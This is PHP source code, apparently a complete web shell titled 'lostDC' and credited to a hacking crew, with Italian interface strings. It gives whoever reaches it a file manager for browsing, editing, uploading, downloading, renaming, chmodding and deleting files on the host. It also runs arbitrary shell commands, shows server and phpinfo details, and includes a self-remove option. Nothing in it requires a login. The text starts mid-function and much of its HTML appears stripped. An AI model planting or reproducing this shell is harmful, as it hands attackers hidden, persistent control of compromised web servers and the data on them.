= 1073741824) { /* Conversione da Byte a GigaByte */ $size = round($size/1073741824*100)/100 ." GB"; } elseif ($size >= 1048576) { /* Conversione da Byte a MegaByte */ $size = round($size/1048576*100)/100 ." MB"; } elseif ($size >= 1024) { /* Conversione da Byte a KiloByte */ $size = round($size/1024*100)/100 ." KB"; } else { /* Byte */ $size = $size . " B"; } return $size; } } } function getinfo() { $info = ''; $info .= '[~]Versione PHP: ' .phpversion() .'
'; $info .= '[~]Server: ' .$_SERVER['HTTP_HOST'] .'
'; $info .= '[~]Indirizzo IP: ' .$_SERVER['SERVER_ADDR'] .'
'; $info .= '[~]Software: ' .$_SERVER['SERVER_SOFTWARE'].'
'; $info .= '[~]Charset: ' .$_SERVER['HTTP_ACCEPT_CHARSET'] . '
'; $info .= ((ini_get('safe_mode') == 0) ? '[~]Safe Mode: OFF
' : '[~]Safe Mode: OFF
'); $info .= ((ini_get('magic_quotes_gpc') == 0) ? '[~]Magic Quotes: OFF
' : '[~]Magic Quotes: ON
'); if (is_callable("disk_free_space")) { $d = realpath("."); $free = disk_free_space($d); $total = disk_total_space($d); if ($free === FALSE || $free < 0) { $free = 0; } if ($total === FALSE || $total < 0) { $total = 0; } $used = $total-$free; $info .= "[~]Free space: ".view_size($free)."/".view_size($total)."
"; } return $info; } if (!isset ($_GET ['dir'])){ $dir = getcwd (); } else { $dir = $_GET ['dir']; } chdir ($dir); $current = getcwd (); $c = "?dir=" . $current; $home = " lostDC - ".$current." "; print $home."
"; print "
\n
[~]Directory corrente: " . getcwd () . "
".getinfo()."
\n
"; print "\n"; print "\n"; print "\n"; print "\n"; print "\n"; print "\n"; print "\n"; print "\n"; print "
[ New ][ PHP Info ][ No-Paste ][ Shell Command ][ Hasher ][ Self Remove ]
"; $mode = $_GET ['mode']; switch ($mode) { case "edit": $file = $_GET ['file']; $new = $_POST ['new']; if (empty ($new)) { $fp = fopen ($file , "r"); $cont = fread ($fp, filesize ($file)); $cont = str_replace ("
\n"; print "\n"; } else { $fp = fopen ($file , "w"); if (fwrite ($fp , $new)) { header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir); } else { print "Impossibile editare " . $file . "
\n"; echo "Indietro

\n"; } } fclose ($fp); break; case "upload": $temp = $_FILES ['file'] ['tmp_name']; $file = basename ($_FILES ['file'] ['name']); if (!empty ($file)) { if (move_uploaded_file ($temp , $file)) { header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir); } else { print "Impossibile caricare " . $file . "\n"; echo "Indietro

\n"; } } break; case "download": $filename = $_GET['filename']; header("Pragma: no-cache"); header("Expires: 0"); header ( "Content-type: application/octet-stream" ); header ( "Content-Disposition: attachment; filename=".$filename.";" ); header ( "Content-Description: Download manager" ); header ( "Content-Length: " . filesize ($filename) ); readfile ($filename); break; case "rename": $old = $_GET ['old']; print "
\n"; print "New name:
\n"; print "
\n"; $new = $_POST ['new']; if (!empty ($new)) { if (rename ($old , $new)) { header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir); } else { print "Impossibile rinominare " . $old . ".

\n"; echo "Indietro

\n"; } } break; case "chmod": if (chmod($_POST['tomod'], intval($_POST['mod'], 8)) == false) { print "Impossibile cambiare i permessi a " .$_POST['tomod'] . "
"; echo "Indietro

\n"; } else { header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir); // print "".$_POST['tomod']." con permessi: ".intval($_POST['mod'], 8)." e' stato chmoddato\n"; } break; case "remove": $file = $_GET ['file']; if (unlink ($file)) { header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir); } else { print "Impossibile rimuovere " . $file . "
\n"; echo "Indietro

\n"; } break; case "selfremove": header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir.'&mode=remove&file='.__FILE__); break; case "makedir": if (mkdir($_POST['dir'], 0777) == false) { print "Impossibile creare directory; " .$_POST['dir'] . "
\n"; echo "Indietro

\n"; } else { header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']); } break; case "godir": $goto = $_POST['goto']; if (isset($_POST['goto'])) { chdir($goto); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].$c.'/'.$goto); } else { header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']); } break; case "elimina": $dire = $_GET['dire']; if ($handle = opendir($dire)) { $array = array(); while (false != ($file = readdir($handle))) { if ($file != "." && $file != "..") { if(is_dir($dire.$file)) { if(!rmdir($dire.$file)) { delete_directory($dire.$file.'/'); } } else { unlink($dire.$file); } } } closedir($handle); rmdir($dire); } header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir); break; case "create": $new = $_POST ['new']; if (isset($_POST['new'])) { if (!empty ($new)) { if ($fp = fopen ($new, "w")){ header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir); } else { print "Impossibile creare " . $file . ".

\n"; echo "Indietro



\n"; } fclose ($fp); } } else { print "
\n"; print "New file: \n"; print "
\n"; } break; case "nopaste": switch ($_GET ['action']) { case "ins": print "
\n"; print "Title:
\n"; print "Language:
\n"; print "Script:

\n"; print "
\n"; if (!empty ($_POST ['title']) && !empty ($_POST ['language']) && !empty ($_POST ['source'])) { $file = rand (1000000, 9999999); $fp = fopen ($file, "w"); fwrite ($fp, $_POST ['title'] . "\n" . $_POST ['language'] . "\n\n" . $_POST ['source']); fclose ($fp); header ("Location: {$c}&mode=nopaste&action=view&id={$file}"); } break; case "view": $id = $_GET ['id']; $fp = fopen ($id, "r"); $read = fread ($fp, filesize ($id)); print "\n\n\n\n
\n
" . htmlentities ($read) . "
\n"; fclose ($fp); break; } break; case "execute": $command = $_POST ['command']; if (!isset ($_POST['command'])) { print "\n\n"; print "\n\n\n"; print "\n\n\n\n
"; } else { $ret = shellexec($command); if ($ret == "") { print "Il comando non puo' essere eseguito sul server


\n"; } else { print "Executing the following command:
\n"; print "
\n"; print "Result:



\n"; } } break; case "hasher": print "\n\n"; print "\n\n\n"; print "\n\n"; print "\n\n\n
"; if (!empty ($_POST ['hash']) && !empty ($_POST ['type'])) { print $_POST ['hash'] . ": " . "" . hash ($_POST ['type'], $_POST ['hash']) . ""; } break; case "phpinfo": phpinfo(); break; default: print "\n"; $files = scandir ($dir); foreach ($files as $out) { if (is_file ($out)) { print "\n\n"; print ""; print "\n"; print "\n"; } else { if ($out != "." && $out != "..") { print "\n\n"; print ""; print "\n"; print "\n"; } if ($out == "..") print "\n"; } } print "
" . $out ."".view_size(filesize($out))."
" . getperms ($out) . "
\"edita \"elimina \"rinomina
" . $out . "FOLDER
" . getperms ($out) . "
\"elimina
..
\n"; } print "\n
"; print "\n"; print "
Upload file:
Chmod File:
Mkdir:      
New file:  
Go dir:     

\n"; print "
[ Generation time: ".round(getTime()-startTime,4)." seconds | by lostpassword and D3vilc0de crew ]
\n\n"; ?>